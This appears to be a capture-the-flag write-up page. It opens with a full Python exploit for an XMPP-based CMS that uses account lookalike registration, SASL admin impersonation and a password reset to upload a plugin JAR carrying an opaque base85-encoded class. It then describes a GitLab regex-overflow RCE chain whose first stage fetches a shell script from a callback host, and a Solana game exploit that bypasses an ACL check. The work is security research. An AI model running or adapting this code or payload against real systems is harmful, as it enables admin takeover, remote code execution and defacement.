CLASS_B85 = "%Ko~(0000%09FbB0ssRC00ayG1po#C01#?nc404UVQyzHPhx6iV{`!k20UqQX>>jT00Sr~Rtf+J00{>G3Jd@X01N>D3~FI^VJ~TKFGgu>WdQ&NbZ<~$bZ7wp7APr9YGHO^FK%gXFJ@_MWiL=+bZ9#W01g2F8ZIs`VPtJ-ZZCIbVqtJ_FKKRMWq2-VbZu-401yBX2LKWb022Td0RR$eVRm6JZfS2XW@&6?FHm80XaN8Ra%FRGY<6V<04OL-YGHO^FKl6MXD?H9a%pa7J1I<RVRm6JZfS2XW@&6?FHm80Xgdo45C9eo02crZ0RRbZZ*py6Y-xIB2ml!Y06RP(WN%}1d2nSQXmo9CK0Ii2ZEQX~VsB)5K1g9>Yh`30VtF7;VPbD`X>&X;VsB)5K0GgIbZu-t3JCxk02~JZ9Si^-03QJWA!=cEVJ~iJZ!cqLVRCb2bT3nMVQyq$a%4kjVRCb2baMd!1yxi=UpN5(8cb?oc404WX>TuMXkl`5Wppn?Xkl`5Wpq0S03iVY7;0g5VJ~iJZ!czPY-KM`aAj^!aCB*JZVCV+03-(hB@6&204D(e6KY|0VJ~iJZ!czPY-KM-X>4V40RRhka%psBQ*?4^Zf5}icPLD1VRm6JZfS2XW@&6?FHm80Xgf@5VRm6JY+-I^FGFZya#Lk-b!Bd2Wjjo2VRm6JZfS2XV`yP=b7gcdLug@gb7gcpTTE(Uc404WX>TuPX>4ULPjF>!PjGZ;Z*Ds&Olo0vVJ~iJZ!czPY-KM{VRUFa2LLGn0269qc404RZ!bwtMR;RnaCB*JZU+D>0RSIrVRm6JY+-I^FG*}{WoKb*Q*>c;Wkq;nWpH$9Z*B?zEdVYD051#xFaR+D01#?nc404UVQyzHQ*?4^Zf5}i2X<j>b!AUx0RSc_Olo0vVJ~c9Zf7q~Vrpe$bUP_bYGHO^FKl6MXD?H9a%pa7I}!i@05c2#GypXL02ggxYh^=kZew9|S7~%;LvL<#bYX6Ea{&M*C`@W$c404UVQyzHQ*?4^Zf83wOlo0vVJ~c9Zf7r3baH8KXFCc2DgZYO00jUz0RSo}Olo0vVJ~c9Zf7r3baH8KXFE)4VRm6JY+-I^FH~r9Z+Bs0Y-KwsRtEq&0RR<jVPbD`X>%`3VPbD`X>(9)b!TaA2LL<)04i^CXD@1Lc4c#KW^{L9a%C@XaAj_0X>w&RV{dMBVQFq<axYM9b!TaA0RRL;Z)9Zw01r%QZe>n&ZDM6|RAFLlWdQ&XX>MtBX<=+>dSy^-b!TaA0RTiOOmA{$FKTIaWpi(4ba!ELWiM}VWo~9^a%C@LZ*Fv9X>Mh5FHmfCXK8LtVQyh(WpX=AYGHO^FKKTtMrmwiJ1JHH01Z=gVPk7eVQ^GoVr*px07C%)F>i8bFKTIaWpi(4ba!ELWiM}VWo~9^a%C@LZ*Fv9X>Mh5FHmfCXK8LtVQyh(WpV)k4P<3=baHQbP;7N)X>I`k3R7=&a${viX>4Ty01`}LVsCP3b5Lw`XK8LOYGHO^0RRv}Z*O#SbaG*EO=WawZ)9@_07(G=B13O=Y-AvAZ*(AaaAaY0WguZ>ZE0>GXm4$0aA9X<Iv@cL1^`P6089W)2LMhC05kwk0RSXwVRm6JY+-I^FKKReZ);^QQ*?4^Zf8SpZew9|Mqy)gZ*qA70GKFDYGHO^FKl6MXD?}Pc5iECFHL21Xm4alVQyq>WpgA<Z*OaLa63$DVRm6JY+-I^FH>}KX>MmbOlo0vVJ~c9Zf7rPZgy{LWiL%-bZBp6RC#b^J4|X}c404UVQyzHQ*?4^Zf84NOlo0vVJ~c9Zf7q~Vrpe$bUP_bYGHO^FKl6MXD?}Pc5iECFGFE$Y*T4;Wjg@?3`uToWpYDoVRLh3a|ZxY0RSaxVRm6JY+-I^FKKReZ);^QO=WawZ)8YeZe(m_b0kb}Z)<gM2LMz703K>#c404UVQyzHX>N9JYh^D@Wprq7WJqCdWNc+~0RRR}Z*OaLZ~!p?IRF9x0RTGy000930RRO61^@v7Jpcdz9RL9U0RR911uC}y0kHr80096#000060096101E&C06zdg0096!0001!00aO90000uEVcj#5)HWk4*~$W02KiMPAw7`vH%(by#OG%03uhX02n$1y8tR#Ew}(Ix&Sf&02u_g05-p|0096I03QG%04M+g06qW!03rYg0000E00saL01E&R01*HZ03QGs03rYt03-kw05<>_06_o%02u%R{{SKY1P1^)2LM6`00;*F5C8!O04Njy0RTh*1^@v7Jpcdz82|tP0RR910kHr80096#000060096102}}V07U=*00IC;07n1-00;m907?J>07w8(0000A0096|08;=}02u"
PLUGIN_XML = """<?xml version="1.0" encoding="UTF-8"?>
<plugin>
  <class>laboris.LaborisPlugin</class>
  <name>Laboris Homepage</name>
  <description>HappyCMS lab verification payload</description>
  <author>Laboris</author>
  <licenseType>apache</licenseType>
  <version>1.0.0</version>
  <date>2026-11-28</date>
  <minServerVersion>5.1.0</minServerVersion>
</plugin>
"""
STREAM = (
    '<stream:stream to="{domain}" xmlns="jabber:client" '
    'xmlns:stream="http://etherx.jabber.org/streams" version="1.0">'
)


class ExploitError(Exception):
    pass


class Xmpp:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), timeout=10)
        self.sock.settimeout(10)
        self.buf = b""

    def send(self, xml):
        self.sock.sendall(xml.encode("utf-8"))

    def until(self, marker):
        while marker not in self.buf:
            data = self.sock.recv(65536)
            if not data:
                raise ExploitError("XMPP connection closed unexpectedly")
            self.buf += data
            if len(self.buf) > 2_000_000:
                raise ExploitError("XMPP response too large")
        end = self.buf.index(marker) + len(marker)
        result, self.buf = self.buf[:end], self.buf[end:]
        return result

    def iq(self, stanza_id):
        pattern = re.compile(rb"<iq\b[^>]*\bid=[\"']" + stanza_id.encode() + rb"[\"'][^>]*>")
        while True:
            found = pattern.search(self.buf)
            if found:
                start = found.start()
                if self.buf[found.end() - 2:found.end()] == b"/>":
                    end = found.end()
                else:
                    closing = self.buf.find(b"</iq>", found.end())
                    end = closing + len(b"</iq>") if closing >= 0 else -1
                if end >= 0:
                    xml, self.buf = self.buf[start:end], self.buf[end:]
                    return ET.fromstring(xml)
            data = self.sock.recv(65536)
            if not data:
                raise ExploitError("XMPP connection closed while awaiting IQ")
            self.buf += data
            if len(self.buf) > 2_000_000:
                raise ExploitError("XMPP IQ response too large")

    def stream(self, domain):
        self.send(STREAM.format(domain=domain))
        header = self.until(b"</stream:features>").decode("utf-8", "replace")
        match = re.search(r'<stream:stream[^>]+\bfrom="([^"]+)"', header)
        return match.group(1) if match else domain

    def tls(self, domain):
        self.send('<starttls xmlns="urn:ietf:params:xml:ns:xmpp-tls"/>')
        response = self.until(b"/>")
        if b"<proceed " not in response:
            raise ExploitError("XMPP server refused STARTTLS")
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        self.sock = context.wrap_socket(self.sock, server_hostname=domain)
        self.sock.settimeout(10)
        self.buf = b""
        self.stream(domain)

    def close(self):
        try:
            self.send("</stream:stream>")
        except OSError:
            pass
        self.sock.close()


def error_condition(iq):
    for element in iq.iter():
        if element.tag.endswith("}error"):
            for child in element:
                if not child.tag.endswith("}text"):
                    return child.tag.rsplit("}", 1)[-1]
    return "unknown"


def require_result(iq, action):
    if iq.attrib.get("type") != "result":
        raise ExploitError(f"{action}: IQ {iq.attrib.get('type')} ({error_condition(iq)})")


def state_path(host):
    safe = re.sub(r"[^A-Za-z0-9_.-]", "_", host)
    return Path(tempfile.gettempdir()) / f"happycms-laboris-{os.getuid()}-{safe}.json"


def save_state(path, host, password):
    fd, temporary = tempfile.mkstemp(prefix=".happycms-laboris-", dir=path.parent)
    try:
        os.fchmod(fd, 0o600)
        with os.fdopen(fd, "w", encoding="utf-8") as output:
            json.dump({"host": host, "password": password}, output)
        os.replace(temporary, path)
    finally:
        if os.path.exists(temporary):
            os.unlink(temporary)


def load_state(path, host):
    try:
        value = json.loads(path.read_text(encoding="utf-8"))
    except (FileNotFoundError, ValueError):
        return None
    return value.get("password") if value.get("host") == host else None


def xmpp_register(host, port, domain, path):
    password = secrets.token_urlsafe(24)
    con = Xmpp(host, port)
    try:
        server_domain = con.stream(domain)
        con.tls(server_domain)
        con.send(
            '<iq type="set" id="reg1"><query xmlns="jabber:iq:register">'
            f"<username>{LOOKALIKE}</username><password>{password}</password>"
            "</query></iq>"
        )
        reply = con.iq("reg1")
        if reply.attrib.get("type") == "result":
            save_state(path, host, password)
            print("[1/5] Registered distinct Unicode account")
            return password, server_domain
        if error_condition(reply) == "conflict":
            known = load_state(path, host)
            if known:
                print("[1/5] Reusing account created by an earlier run")
                return known, server_domain
            raise ExploitError(
                "Unicode account already exists and its password is unknown; "
                "restore a clean target snapshot"
            )
        require_result(reply, "XMPP registration")
    finally:
        con.close()


def xmpp_take_admin(host, port, domain, password):
    con = Xmpp(host, port)
    try:
        server_domain = con.stream(domain)
        con.tls(server_domain)
        plain = base64.b64encode(f"admin\0{LOOKALIKE}\0{password}".encode()).decode()
        con.send(
            '<auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" '
            f'mechanism="PLAIN">{plain}</auth>'
        )
        response = con.until(b">")
        while b"<success" not in response and b"<failure" not in response:
            response += con.until(b">")
        if b"<failure" in response:
            raise ExploitError("SASL admin authorization failed")
        con.buf = b""
        con.stream(server_domain)
        con.send(
            '<iq type="set" id="bind1">'
            '<bind xmlns="urn:ietf:params:xml:ns:xmpp-bind">'
            '<resource>laboris</resource></bind></iq>'
        )
        reply = con.iq("bind1")
        require_result(reply, "XMPP resource binding")
        jid = reply.findtext(".//{urn:ietf:params:xml:ns:xmpp-bind}jid")
        if not jid or jid.split("@", 1)[0] != "admin":
            raise ExploitError(f"SASL bound unexpected identity: {jid!r}")
        print(f"[2/5] Bound XMPP session as {jid}")

        new_password = secrets.token_urlsafe(24)
        con.send(
            '<iq type="set" id="pwd1"><query xmlns="jabber:iq:register">'
            f"<username>admin</username><password>{new_password}</password>"
            "</query></iq>"
        )
        require_result(con.iq("pwd1"), "admin password update")
        print("[3/5] Updated admin password using the impersonated XMPP session")
        return new_password
    finally:
        con.close()


def http_get(opener, url):
    with opener.open(url, timeout=12) as response:
        return response.geturl(), response.read(4_000_000)


def http_post(opener, url, data, content_type):
    request = urllib.request.Request(
        url, data=data, headers={"Content-Type": content_type}, method="POST"
    )
    with opener.open(request, timeout=20) as response:
        return response.geturl(), response.read(4_000_000)


def cookie_value(jar, name):
    for cookie in jar:
        if cookie.name == name:
            return cookie.value
    raise ExploitError(f"server did not issue {name} cookie")


def plugin_archive():
    class_bytes = base64.b85decode(CLASS_B85)
    output = io.BytesIO()
    with ZipFile(output, "w", ZIP_DEFLATED) as jar:
        jar.writestr("plugin.xml", PLUGIN_XML)
        jar.writestr("classes/laboris/LaborisPlugin.class", class_bytes)
    return output.getvalue()


def multipart(csrf, jar_bytes):
    boundary = "----Laboris" + secrets.token_hex(12)
    body = io.BytesIO()
    for name, value in (("uploadplugin", "true"), ("csrf", csrf)):
        body.write(f"--{boundary}\r\n".encode())
        body.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode())
        body.write(value.encode() + b"\r\n")
    body.write(f"--{boundary}\r\n".encode())
    body.write(
        b'Content-Disposition: form-data; name="uploadfile"; filename="laboris.jar"\r\n'
        b"Content-Type: application/java-archive\r\n\r\n"
    )
    body.write(jar_bytes + b"\r\n")
    body.write(f"--{boundary}--\r\n".encode())
    return body.getvalue(), f"multipart/form-data; boundary={boundary}"


def http_install(host, http_port, password):
    base = f"http://{host}:{http_port}/"
    cookies = CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
    http_get(opener, base + "login.jsp")
    login = urllib.parse.urlencode(
        {"username": "admin", "password": password, "login": "true", "csrf": cookie_value(cookies, "csrf")}
    ).encode()
    http_post(opener, base + "login.jsp", login, "application/x-www-form-urlencoded")
    url, _ = http_get(opener, base + "plugin-admin.jsp")
    if urllib.parse.urlparse(url).path != "/plugin-admin.jsp":
        raise ExploitError(f"admin HTTP login failed; ended at {url}")
    print("[4/5] Authenticated to the admin HTTP console")
    body, content_type = multipart(cookie_value(cookies, "csrf"), plugin_archive())
    url, _ = http_post(opener, base + "plugin-admin.jsp", body, content_type)
    if "uploadsuccess=true" not in url:
        raise ExploitError(f"plugin upload was rejected; ended at {url}")
    return base


def verify_homepage(base):
    deadline = time.monotonic() + 45
    while time.monotonic() < deadline:
        try:
            with urllib.request.urlopen(base + "?check=" + secrets.token_hex(4), timeout=8) as response:
                body = response.read(1_000_000).decode("utf-8", "replace")
                if response.status == 200 and MARKER in body:
                    print(f"[5/5] Verified public homepage: {base} -> {MARKER}")
                    return
        except OSError:
            pass
        time.sleep(1)
    raise ExploitError("plugin was accepted, but public homepage did not change within 45 seconds")


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", help="target IP, for example 192.168.247.128")
    parser.add_argument("--xmpp-port", type=int, default=5222)
    parser.add_argument("--http-port", type=int, default=9090)
    parser.add_argument("--domain", help="XMPP domain; defaults to target IP")
    args = parser.parse_args()
    domain = args.domain or args.host
    base = f"http://{args.host}:{args.http_port}/"
    with urllib.request.urlopen(base, timeout=10) as response:
        old = response.read(1_000_000).decode("utf-8", "replace")
        if MARKER in old:
            print(f"Homepage already contains {MARKER}: {base}")
            return
        print(f"Baseline: HTTP {response.status}, marker absent")
    password, server_domain = xmpp_register(
        args.host, args.xmpp_port, domain, state_path(args.host)
    )
    new_admin_password = xmpp_take_admin(
        args.host, args.xmpp_port, server_domain, password
    )
    verify_homepage(http_install(args.host, args.http_port, new_admin_password))
    state_path(args.host).unlink(missing_ok=True)


if __name__ == "__main__":
    try:
        main()
    except (ExploitError, OSError, ssl.SSLError, ET.ParseError) as error:
        print(f"error: {error}", file=sys.stderr)
        sys.exit(1)

gitlab-org

Approach

The challenge provides a low-privilege player account with write access to player/notes. I initially followed the regex compilation path from a public Org file. Looking further through project configuration revealed another route into Ruby’s regex engine: environment authorization for the GitLab Kubernetes Agent, or KAS.

The chain has two controlled inputs. An agent configuration supplies the malicious environment pattern, while CI’s environment.name supplies the string to match. When a push creates a pipeline, GitLab expands that environment name and filters agent authorizations on the server. The filter reaches an integer overflow in Onigmo; after adapting the payload to the supplied Ruby build, the GitLab process executes a command.

The tested target was GitLab EE 16.11.10 with Ruby 3.1.4 on amd64. The chain requires the supplied player credentials and write access to that account’s project; it needs neither administrator privileges nor a CI runner. Its regex bytecode, register slots, and gadget offsets are specific to this build.

Root cause

From project configuration to the environment matcher

The agent configuration lives at .gitlab/agents/qwb-lab/config.yaml. Its ci_access.projects[].environments entry controls the allowed environment patterns. The CI job’s environment.name supplies the environment being checked. These excerpts show where the two inputs go; the scripts generate the actual payloads:

# .gitlab/agents/qwb-lab/config.yaml
ci_access:
  projects:
    - id: player/notes
      environments:
        - "<pattern generated by the script>"
# .gitlab-ci.yml
stages: [deploy]
variables:
  PAYLOAD: "<environment name generated by the script>"
bridge_probe:
  stage: deploy
  environment:
    name: $PAYLOAD
  trigger:
    project: player/notes
    branch: qwb-nonexistent

The bridge job does not need to run. A push invokes PostReceive and begins creating a pipeline. During the seed stage, GitLab computes variables, expands the environment name, and builds Kubernetes-related variables; filtering agent authorizations is part of that process. It happens before later environment-record validation, so the job does not need a runner and the final validity of the environment name is not the relevant gate.

The filter eventually calls Gitlab::Ci::EnvironmentMatcher. In the challenge’s GitLab 16.11.10 build, the key methods are:

def wildcard_match?(environment)
  return false unless wildcard?

  wildcard_regex.match?(environment)
end

def wildcard?
  pattern.include?('*')
end

def wildcard_regex
  @wildcard_regex ||= Regexp.new(pattern.gsub('*', '.*'))
end

The intention is to support * as a wildcard, but the result is compiled with Regexp.new without escaping the other regex metacharacters. I placed the only * inside the regex comment (?#𐐀*). Substitution changes it to (?#𐐀.*), satisfying the wildcard check without changing the payload that follows. After KAS synchronized, a GraphQL query confirmed that the malicious pattern had reached the agent authorization configuration.

Turning a short pattern into an oversized compiled program

The underlying bug is in Ruby’s bundled Onigmo engine. In upstream Ruby 3.1.4, regcomp.c uses this multiplication when deciding whether to expand a quantifier. The upstream source explains the mechanism; it has not been established as a byte-for-byte copy of the target package’s source:

(tlen + SIZE_OP_PUSH) * qn->upper <= QUANTIFIER_EXPAND_LIMIT_SIZE

The lengths involved are signed integers. A carefully constructed repeated body makes the multiplication cross the signed 32-bit limit, producing a bad size check and causing the compiler to emit a huge amount of regex bytecode. In the saved research notes, {60791} repeats a roughly 35,327-byte body 60,791 times; including the remaining code gives approximately 2,147,563,809 bytes. The input pattern itself is only 404 UTF-8 bytes, or 405 after wildcard substitution, and the matched environment name is 102 bytes. These compiled-size figures come from notes on an isolated Ruby experiment; the raw compiler output was not retained.

The oversized bytecode also wraps an alternation jump into a character-class bitmap under our control. The resulting Onigmo bytecode writes a pointer to a command in the environment name into saved r12, then replaces the saved return address with a shell-execution gadget in the target’s libruby. The relevant register and return-address slots were checked in an isolated target Ruby process. They are specific to this amd64 build.

The character-class bitmap construction was adapted from Rapid7’s CVE-2026-97229 PoC for the challenge’s Ruby 3.1.4 layout. The original PoC uses a different entry point from this KAS environment-matching route. Ruby’s advisory describes the related Onigmo compiled-size bug; I have not assigned another entry point’s CVE to this KAS path.

Exploitation and verification

The full run writes the agent and CI configurations, starts a temporary agentk, waits for KAS to synchronize the pattern, and pushes an empty commit to trigger automatic pipeline creation. The first stage fetches a shell script from the attacking machine. That script runs gitlab-rails runner in the GitLab process context and creates a system broadcast containing Hacked by Laboris.

The saved notes for November 28, 2026 record exit=0 and broadcast_id=1 from the full run. A separate anonymous request to / then redirected to /users/sign_in, which returned HTTP 200 and contained the marker. The change came from system broadcast data, not an edit to the login template. A separate isolated Ruby experiment recorded uid=998(git), but the full network run did not separately record its process UID; the raw Git HTTP exchange and complete terminal output were not retained either.

Download the gitlab-org scripts. The archive contains the trigger and its Onigmo payload builder. The private lab addresses have been replaced with documentation addresses, and the password is supplied through an environment variable. The run needs Python, requests, Git, Docker, the matching agentk image, and a callback address reachable by the target. The first-stage command must fit within 28 bytes:

python3 -m pip install requests
read -r -s -p 'player password: ' QWB_PLAYER_PASSWORD; printf '\n'
export QWB_PLAYER_PASSWORD
python3 gitlab_org_exp.py \
  --url http://192.0.2.10 \
  --callback-host 192.0.2.20 --callback-port 8000

Replace the example IPs with the target and callback addresses. The script attempts to restore the CI and agent configurations, revoke its temporary token, and remove its containers. The broadcast remains until it expires or the snapshot is restored. Compiling the regex requires about 2 GiB of memory and may crash a worker.

magic

Approach

magic is an on-chain rock-paper-scissors arena built on Solana. We upload an agent and play 100 rounds against the house bot. The challenge’s demonstration instructions require more than 90 wins: at least 91 out of 100.

An agent that always plays the same move will not get there. The referee’s flow offered two bugs to combine. First, an ACL update for the bot’s private choice account did not check whether the existing member had signed, so I could add my own wallet and read the bot’s move. Second, after invoking the agent, the referee selected the return data from the latest successful transaction for the agent’s address without binding it to the transaction the referee had just submitted. Once the bot’s move was visible, a second agent transaction could supply the winning response.

The full local run finished with 100 wins, 0 losses, and 0 ties. The two bugs are useful together: reading the bot’s move does not by itself control the referee’s choice, and overriding a return value alone does not reveal which move will win.

Root cause

Match entry and private accounts

Port 1337 presents a 24-bit SHA-256 proof of work, then accepts a Base64-encoded Solana SBF agent on one line and offers PLAY and STATUS. Each round, the referee first submits the house bot’s make_choice instruction and then invokes our agent. A normal agent must return exactly one byte: 0, 1, or 2.

The bot’s move lives in a PlayerChoice PDA. The first eight bytes are its discriminator; offset 48 is an Option tag and offset 49 holds the move when the tag is 1. A normal test wallet cannot read this private account directly through QFS. The bot’s public key and the game ID are public, but its private key is not available to us.

ACL updates check a public key but not its signature

The ACL program’s permission-update instruction has discriminator 7. When the protected account itself has not signed, the program scans the existing mutable members for the supplied authority’s public key. The problem is that it accepts a matching key without checking whether that authority signed.

A transaction signed by our own wallet can therefore pass the bot’s public key as a read-only, non-signing authority and replace the mutable member with our wallet. Here is the exploit’s instruction construction, simplified to show a single new member:

payload = struct.pack("<Q", 7) + b"\x01" + b"\x03" + bytes(payer.pubkey())
metas = [
    AccountMeta(payer.pubkey(), True, True),   # our wallet signs and pays
    AccountMeta(bot, False, False),            # bot public key, no signature
    AccountMeta(choice, False, False),
    AccountMeta(permission, False, True),
    AccountMeta(VAULT_ID, False, True),
    AccountMeta(MAGIC_ID, False, False),
]

The instruction data consists of little-endian u64 value 7, private flag 01, member flag 03, and our 32-byte public key. QFS permits the ACL-program instruction through. With our wallet listed, an authenticated QFS query can read PlayerChoice. This still requires our own wallet and a valid token; it is not an anonymous read.

A separate ACL check returned value: null before the update and a complete 58-byte account afterward, then restored the original ACL. That check used an account from an inactive match whose choice tag was None. It proved unauthorized account access, not disclosure of a move in progress. The subsequent 100-round run exercised the live read as part of the combined chain.

Which agent transaction does the referee read?

After submitting its agent invocation, the referee waits for confirmation and sleeps for about 350 ms. It then queries recent successful transactions by the agent’s program address and reads a transaction’s returnData. It checks the return-data program ID and byte format, but does not compare the transaction signature with the one it submitted. A second successful transaction to the same agent during that window can therefore be selected instead.

Our agent returns 0 for the referee’s normal round data. If a separate call starts with MAGC, it returns the next byte as the move. The core of the Rust agent used in the run is:

let choice = if data.len() >= 5 && &data[..4] == b"MAGC" && data[4] < 3 {
    data[4]
} else {
    0
};
set_return_data(&[choice]);

For each round, the script changes the ACL, sends PLAY, and polls until it sees both the bot’s move and a new transaction at the agent address. It computes (bot_move + 1) % 3 and sends MAGC || winning_move || nonce; the nonce makes the extra transactions distinct. Settlement restores the bot’s permission member, so the ACL update is repeated for the next round.

Exploitation and verification

The order of operations is the important part of the match runner:

access = ensure_access(rpc, token, payer, bot, choice, permission)
baseline = latest_signatures(rpc, agent, None)
watermark = baseline[0] if baseline else None
io.sendline(b"PLAY")

# Wait for the bot's choice and a new transaction at the agent address.
while time.monotonic() - start < 2.0:
    value = read_choice(rpc, token, choice)
    if value.get("disc_ok") and value.get("option") == 1 and value.get("move") in (0, 1, 2):
        bot_move = value["move"]
    signatures = latest_signatures(rpc, agent, watermark)
    if signatures:
        judge_signature = signatures[0]
    if bot_move is not None and judge_signature is not None:
        break
    time.sleep(0.005)

winning = (bot_move + 1) % 3
injection = send_move(rpc, token, payer, agent, winning, round_num)

The excerpt omits timer initialization and timeout handling; both are present in the full script. The saved log contains only transaction-signature prefixes, and the referee’s full transaction-fetch RPC record was not retained. The combined-run evidence therefore consists of those logs together with the reconstructed referee logic. A separate single-round script for the referee flaw was syntax-checked but not run.

The end of the full run on November 29, 2026 was:

round 98: bot=1 reply=2 ... ok: round 98 — you scissors vs bot paper — win (98W/0L/0T)
round 99: bot=0 reply=1 ... ok: round 99 — you paper vs bot rock — win (99W/0L/0T)
round 100: bot=1 reply=2 ... ok: round 100 — you scissors vs bot paper — win (100W/0L/0T)
scoreboard after 100: 100W/0L/0T cleared=True

The ellipses stand in for each line’s signature prefixes and elapsed time. /state also recorded round=100, finished=true, and cleared=true. The page displays a threshold of 90, while the challenge’s demonstration instructions say “more than 90”; 100 wins satisfies both.

Magic Arena local verification showing 100 wins in 100 rounds

Download the magic scripts and agent. The archive includes the match runner, its helper scripts, agent source, and the SBF v0 build used with this environment. Private lab addresses have been replaced with a documentation address. Prepare a 32-byte seed for your own wallet and its valid QFS JWT in local private files before running. In the experiment, I signed in with my own wallet through QFS /auth/challenge and /auth/login; the archive does not obtain a token for you:

python3 -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python solve.py --host 192.0.2.10 \
  --rpc http://192.0.2.10:6699/ --web http://192.0.2.10:8080 \
  --seed-file "$SEED_FILE" --token-file "$QFS_TOKEN_FILE" --rounds 100

Replace the example address with the target’s address. Uploading an agent starts a new match and resets the web scoreboard. The archive contains neither the wallet seed nor the token.

Comments

Sign in with GitHub to join the conversation. Both language versions share the same comments.

View on GitHub